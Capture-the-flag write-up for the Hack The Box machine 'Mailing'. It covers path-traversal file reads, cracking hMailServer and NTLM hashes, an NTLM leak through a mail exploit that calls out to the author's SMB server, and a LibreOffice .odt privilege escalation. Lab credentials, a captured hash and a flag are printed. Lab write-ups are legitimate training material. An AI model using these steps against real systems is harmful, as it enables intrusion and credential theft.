Enumeration

nmap

First we enumerate with nmap.

PORT      STATE SERVICE       REASON          VERSION
25/tcp    open  smtp          syn-ack ttl 127 hMailServer smtpd
80/tcp    open  http          syn-ack ttl 127 Microsoft IIS httpd 10.0
110/tcp   open  pop3          syn-ack ttl 127 hMailServer pop3d
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
143/tcp   open  imap          syn-ack ttl 127 hMailServer imapd
445/tcp   open  microsoft-ds? syn-ack ttl 127
465/tcp   open  ssl/smtp      syn-ack ttl 127 hMailServer smtpd
587/tcp   open  smtp          syn-ack ttl 127 hMailServer smtpd
993/tcp   open  ssl/imap      syn-ack ttl 127 hMailServer imapd
5040/tcp  open  unknown       syn-ack ttl 127
7680/tcp  open  pando-pub?    syn-ack ttl 127
49664/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49665/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49666/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49668/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
61021/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC

Full Nmap Output
25/tcp    open  smtp          syn-ack ttl 127 hMailServer smtpd
| smtp-commands: mailing.htb, SIZE 20480000, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
80/tcp    open  http          syn-ack ttl 127 Microsoft IIS httpd 10.0
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://mailing.htb
|_http-server-header: Microsoft-IIS/10.0
110/tcp   open  pop3          syn-ack ttl 127 hMailServer pop3d
|_pop3-capabilities: TOP UIDL USER
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
143/tcp   open  imap          syn-ack ttl 127 hMailServer imapd
|_imap-capabilities: completed ACL CAPABILITY RIGHTS=texkA0001 IDLE SORT NAMESPACE OK IMAP4 CHILDREN QUOTA IMAP4rev1
445/tcp   open  microsoft-ds? syn-ack ttl 127
465/tcp   open  ssl/smtp      syn-ack ttl 127 hMailServer smtpd
| smtp-commands: mailing.htb, SIZE 20480000, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU/[email protected]/organizationalUnitName=MAILING/localityName=Madrid
| Issuer: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU/[email protected]/organizationalUnitName=MAILING/localityName=Madrid
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-02-27T18:24:10
| Not valid after:  2029-10-06T18:24:10
| MD5:   bd32:df3f:1d16:08b8:99d2:e39b:6467:297e
| SHA-1: 5c3e:5265:c5bc:68ab:aaac:0d8f:ab8d:90b4:7895:a3d7
| -----BEGIN CERTIFICATE-----
| MIIDpzCCAo8CFAOEgqHfMCTRuxKnlGO4GzOrSlUBMA0GCSqGSIb3DQEBCwUAMIGP
| MQswCQYDVQQGEwJFVTERMA8GA1UECAwIRVVcU3BhaW4xDzANBgNVBAcMBk1hZHJp
| ZDEUMBIGA1UECgwLTWFpbGluZyBMdGQxEDAOBgNVBAsMB01BSUxJTkcxFDASBgNV
| BAMMC21haWxpbmcuaHRiMR4wHAYJKoZIhvcNAQkBFg9ydXlAbWFpbGluZy5odGIw
| HhcNMjQwMjI3MTgyNDEwWhcNMjkxMDA2MTgyNDEwWjCBjzELMAkGA1UEBhMCRVUx
| ETAPBgNVBAgMCEVVXFNwYWluMQ8wDQYDVQQHDAZNYWRyaWQxFDASBgNVBAoMC01h
| aWxpbmcgTHRkMRAwDgYDVQQLDAdNQUlMSU5HMRQwEgYDVQQDDAttYWlsaW5nLmh0
| YjEeMBwGCSqGSIb3DQEJARYPcnV5QG1haWxpbmcuaHRiMIIBIjANBgkqhkiG9w0B
| AQEFAAOCAQ8AMIIBCgKCAQEAqp4+GH5rHUD+6aWIgePufgFDz+P7Ph8l8lglXk4E
| wO5lTt/9FkIQykSUwn1zrvIyX2lk6IPN+airnp9irb7Y3mTcGPerX6xm+a9HKv/f
| i3xF2oo3Km6EddnUySRuvj8srEu/2REe/Ip2cIj85PGDOEYsp1MmjM8ser+VQC8i
| ESvrqWBR2B5gtkoGhdVIlzgbuAsPyriHYjNQ7T+ONta3oGOHFUqRIcIZ8GQqUJlG
| pyERkp8reJe2a1u1Gl/aOKZoU0yvttYEY1TSu4l55al468YAMTvR3cCEvKKx9SK4
| OHC8uYfnQAITdP76Kt/FO7CMqWWVuPGcAEiYxK4BcK7U0wIDAQABMA0GCSqGSIb3
| DQEBCwUAA4IBAQCCKIh0MkcgsDtZ1SyFZY02nCtsrcmEIF8++w65WF1fW0H4t9VY
| yJpB1OEiU+ErYQnR2SWlsZSpAqgchJhBVMY6cqGpOC1D4QHPdn0BUOiiD50jkDIx
| Qgsu0BFYnMB/9iA64nsuxdTGpFcDJRfKVHlGgb7p1nn51kdqSlnR+YvHvdjH045g
| ZQ3JHR8iU4thF/t6pYlOcVMs5WCUhKKM4jyucvZ/C9ug9hg3YsEWxlDwyLHmT/4R
| 8wvyaiezGnQJ8Mf52qSmSP0tHxj2pdoDaJfkBsaNiT+AKCcY6KVAocmqnZDWQWut
| spvR6dxGnhAPqngRD4sTLBWxyTTR/brJeS/k
|_-----END CERTIFICATE-----
587/tcp   open  smtp          syn-ack ttl 127 hMailServer smtpd
|_ssl-date: TLS randomness does not represent time
| smtp-commands: mailing.htb, SIZE 20480000, STARTTLS, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
| ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU/[email protected]/organizationalUnitName=MAILING/localityName=Madrid
| Issuer: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU/[email protected]/organizationalUnitName=MAILING/localityName=Madrid
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-02-27T18:24:10
| Not valid after:  2029-10-06T18:24:10
| MD5:   bd32:df3f:1d16:08b8:99d2:e39b:6467:297e
| SHA-1: 5c3e:5265:c5bc:68ab:aaac:0d8f:ab8d:90b4:7895:a3d7
| -----BEGIN CERTIFICATE-----
| MIIDpzCCAo8CFAOEgqHfMCTRuxKnlGO4GzOrSlUBMA0GCSqGSIb3DQEBCwUAMIGP
| MQswCQYDVQQGEwJFVTERMA8GA1UECAwIRVVcU3BhaW4xDzANBgNVBAcMBk1hZHJp
| ZDEUMBIGA1UECgwLTWFpbGluZyBMdGQxEDAOBgNVBAsMB01BSUxJTkcxFDASBgNV
| BAMMC21haWxpbmcuaHRiMR4wHAYJKoZIhvcNAQkBFg9ydXlAbWFpbGluZy5odGIw
| HhcNMjQwMjI3MTgyNDEwWhcNMjkxMDA2MTgyNDEwWjCBjzELMAkGA1UEBhMCRVUx
| ETAPBgNVBAgMCEVVXFNwYWluMQ8wDQYDVQQHDAZNYWRyaWQxFDASBgNVBAoMC01h
| aWxpbmcgTHRkMRAwDgYDVQQLDAdNQUlMSU5HMRQwEgYDVQQDDAttYWlsaW5nLmh0
| YjEeMBwGCSqGSIb3DQEJARYPcnV5QG1haWxpbmcuaHRiMIIBIjANBgkqhkiG9w0B
| AQEFAAOCAQ8AMIIBCgKCAQEAqp4+GH5rHUD+6aWIgePufgFDz+P7Ph8l8lglXk4E
| wO5lTt/9FkIQykSUwn1zrvIyX2lk6IPN+airnp9irb7Y3mTcGPerX6xm+a9HKv/f
| i3xF2oo3Km6EddnUySRuvj8srEu/2REe/Ip2cIj85PGDOEYsp1MmjM8ser+VQC8i
| ESvrqWBR2B5gtkoGhdVIlzgbuAsPyriHYjNQ7T+ONta3oGOHFUqRIcIZ8GQqUJlG
| pyERkp8reJe2a1u1Gl/aOKZoU0yvttYEY1TSu4l55al468YAMTvR3cCEvKKx9SK4
| OHC8uYfnQAITdP76Kt/FO7CMqWWVuPGcAEiYxK4BcK7U0wIDAQABMA0GCSqGSIb3
| DQEBCwUAA4IBAQCCKIh0MkcgsDtZ1SyFZY02nCtsrcmEIF8++w65WF1fW0H4t9VY
| yJpB1OEiU+ErYQnR2SWlsZSpAqgchJhBVMY6cqGpOC1D4QHPdn0BUOiiD50jkDIx
| Qgsu0BFYnMB/9iA64nsuxdTGpFcDJRfKVHlGgb7p1nn51kdqSlnR+YvHvdjH045g
| ZQ3JHR8iU4thF/t6pYlOcVMs5WCUhKKM4jyucvZ/C9ug9hg3YsEWxlDwyLHmT/4R
| 8wvyaiezGnQJ8Mf52qSmSP0tHxj2pdoDaJfkBsaNiT+AKCcY6KVAocmqnZDWQWut
| spvR6dxGnhAPqngRD4sTLBWxyTTR/brJeS/k
|_-----END CERTIFICATE-----
993/tcp   open  ssl/imap      syn-ack ttl 127 hMailServer imapd
|_imap-capabilities: completed ACL CAPABILITY RIGHTS=texkA0001 IDLE SORT NAMESPACE OK IMAP4 CHILDREN QUOTA IMAP4rev1
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU/[email protected]/organizationalUnitName=MAILING/localityName=Madrid
| Issuer: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU/[email protected]/organizationalUnitName=MAILING/localityName=Madrid
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-02-27T18:24:10
| Not valid after:  2029-10-06T18:24:10
| MD5:   bd32:df3f:1d16:08b8:99d2:e39b:6467:297e
| SHA-1: 5c3e:5265:c5bc:68ab:aaac:0d8f:ab8d:90b4:7895:a3d7
| -----BEGIN CERTIFICATE-----
| MIIDpzCCAo8CFAOEgqHfMCTRuxKnlGO4GzOrSlUBMA0GCSqGSIb3DQEBCwUAMIGP
| MQswCQYDVQQGEwJFVTERMA8GA1UECAwIRVVcU3BhaW4xDzANBgNVBAcMBk1hZHJp
| ZDEUMBIGA1UECgwLTWFpbGluZyBMdGQxEDAOBgNVBAsMB01BSUxJTkcxFDASBgNV
| BAMMC21haWxpbmcuaHRiMR4wHAYJKoZIhvcNAQkBFg9ydXlAbWFpbGluZy5odGIw
| HhcNMjQwMjI3MTgyNDEwWhcNMjkxMDA2MTgyNDEwWjCBjzELMAkGA1UEBhMCRVUx
| ETAPBgNVBAgMCEVVXFNwYWluMQ8wDQYDVQQHDAZNYWRyaWQxFDASBgNVBAoMC01h
| aWxpbmcgTHRkMRAwDgYDVQQLDAdNQUlMSU5HMRQwEgYDVQQDDAttYWlsaW5nLmh0
| YjEeMBwGCSqGSIb3DQEJARYPcnV5QG1haWxpbmcuaHRiMIIBIjANBgkqhkiG9w0B
| AQEFAAOCAQ8AMIIBCgKCAQEAqp4+GH5rHUD+6aWIgePufgFDz+P7Ph8l8lglXk4E
| wO5lTt/9FkIQykSUwn1zrvIyX2lk6IPN+airnp9irb7Y3mTcGPerX6xm+a9HKv/f
| i3xF2oo3Km6EddnUySRuvj8srEu/2REe/Ip2cIj85PGDOEYsp1MmjM8ser+VQC8i
| ESvrqWBR2B5gtkoGhdVIlzgbuAsPyriHYjNQ7T+ONta3oGOHFUqRIcIZ8GQqUJlG
| pyERkp8reJe2a1u1Gl/aOKZoU0yvttYEY1TSu4l55al468YAMTvR3cCEvKKx9SK4
| OHC8uYfnQAITdP76Kt/FO7CMqWWVuPGcAEiYxK4BcK7U0wIDAQABMA0GCSqGSIb3
| DQEBCwUAA4IBAQCCKIh0MkcgsDtZ1SyFZY02nCtsrcmEIF8++w65WF1fW0H4t9VY
| yJpB1OEiU+ErYQnR2SWlsZSpAqgchJhBVMY6cqGpOC1D4QHPdn0BUOiiD50jkDIx
| Qgsu0BFYnMB/9iA64nsuxdTGpFcDJRfKVHlGgb7p1nn51kdqSlnR+YvHvdjH045g
| ZQ3JHR8iU4thF/t6pYlOcVMs5WCUhKKM4jyucvZ/C9ug9hg3YsEWxlDwyLHmT/4R
| 8wvyaiezGnQJ8Mf52qSmSP0tHxj2pdoDaJfkBsaNiT+AKCcY6KVAocmqnZDWQWut
| spvR6dxGnhAPqngRD4sTLBWxyTTR/brJeS/k
|_-----END CERTIFICATE-----
5040/tcp  open  unknown       syn-ack ttl 127
7680/tcp  open  pando-pub?    syn-ack ttl 127
49664/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49665/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49666/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49668/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
61021/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC

web app

http://mailing.htb/download.php?file=instructions.pdf

using instructions in the instructions.pdf we are unable to use default credentials user:password

possible email addresses: [email protected] [email protected] [email protected] and [email protected] (based on the team names on the homepage)

Vulnerable to LFI

used a modified windows wordlist (replaced C: with ../../)

wget all files

for url in $(cat wget-files); do wget $url; done

used another wordlist from https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion/Intruders

this time there’s the web.config in the wwwroot folder but nothing interesting.. so wondering where the real web.config is since there’s supposed to be a web server..

tried to see if wwwroot is in the root C: directory and it actually is

tried to curl download.php but it doesn’t execute and instead displays the code.. this would mean that webshells won’t be possible if we can even get to write a file

remembered that the homepage mentioned something about hMailServer and found this exploitdb file inclusion exploit https://www.exploit-db.com/exploits/7012

notice that a bunch of the LFIs try to look for hmailserver.ini

a little googling found a forum post mentioning about where that config file may be (https://hmailserver.com/forum/viewtopic.php?f=7&t=38903)

true enough it’s there and we actually found some passwords too along with folders used by hMailServer

as noted from the same exploitdb page

cracked one of the passwords in crackstation

after this was stuck so I checked HTB’s guided mode for clues

so I googled the windows mail cve and also searched for a github to see if there’s a possible POC and true enough there was –server mailing.htb

–port 587 (a few SMTP ports are open [25, 465, 587] so I followed example to be safe but it makes sense since SMTP authentication is required, the default SMTP port with TLS is 587)

–username [email protected] (since we have its password from hmailserver.ini

–password homenetworkingadministrator (from hmailserver.ini)

–sender I don’t think it matters

–recipient [email protected] (from one of the screenshots in instructions.pdf, since we need an actual email account to leak the NTLM information)

–url “\10.10.14.3\test\meeting” (my SMB server IP plus a random share; not sure if it had to be a real share so I just used the example’s)

–subject don’t think it matters maya::MAILING:9f1c7f854ee5f1eb:E70BD5B345B0187EFF5A6C43A15577F5:01010000000000008046634B8820DB0142F987CCE96F5D750000000002000800330055004D004C0001001E00570049004E002D0057005000500054004B004700390050004C004100410004003400570049004E002D0057005000500054004B004700390050004C00410041002E00330055004D004C002E004C004F00430041004C0003001400330055004D004C002E004C004F00430041004C0005001400330055004D004C002E004C004F00430041004C00070008008046634B8820DB010600040002000000080030003000000000000000000000000020000097F2E76BE6AB527D352708B8CAA404A8027F3A61A9B043239B429DF1756F71B60A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310034002E0033000000000000000000

place the whole thing in a txt file and input into hashcat to autodetect and crack

password for [email protected] is m4y4ngs4ri

verify the password with netexec

also seems that maya can also be authenticated via winrm, hence, we evil-winrm to get shell

user flag 3e67a38aaa18c193da33c154a5e73ba1

got winpeas onto the machine and ran it

2 Softwares (or folders in Program Files) seemed interesting

RUXIM is apparently something that is used by Windows Update so we can ignore it. https://www.windowsdigitals.com/what-is-ruxim-folder-in-program-files/

LibreOffice is like an open source Microsoft Office that’s normally used in other Oses.

To check the LibreOffice version, you can run a CLI command “soffice.com –version” https://help.libreoffice.org/latest/en-US/text/shared/guide/start_parameters.html

found the soffice.com file in C:\Program Files\LibreOffice\program

running the command we find that it’s version 7.4.0.1

seems that this version is vulnerable to a Privilege Escalation (CVE-2023-2255) which is what we want It appears that this CVE allows us to craft an .odt document that loads external links without prompt. Based on the POC we can do RCE

the Administrator user is called localadmin and is in the Administradores group

so I crafted the .odt to, when run, execute the command ’net localgroup Administradores maya /add’ to make maya an administrator

as an administrator, I can now dump hashes as maya

I can then get a shell as localadmin using the hash via evil-winrm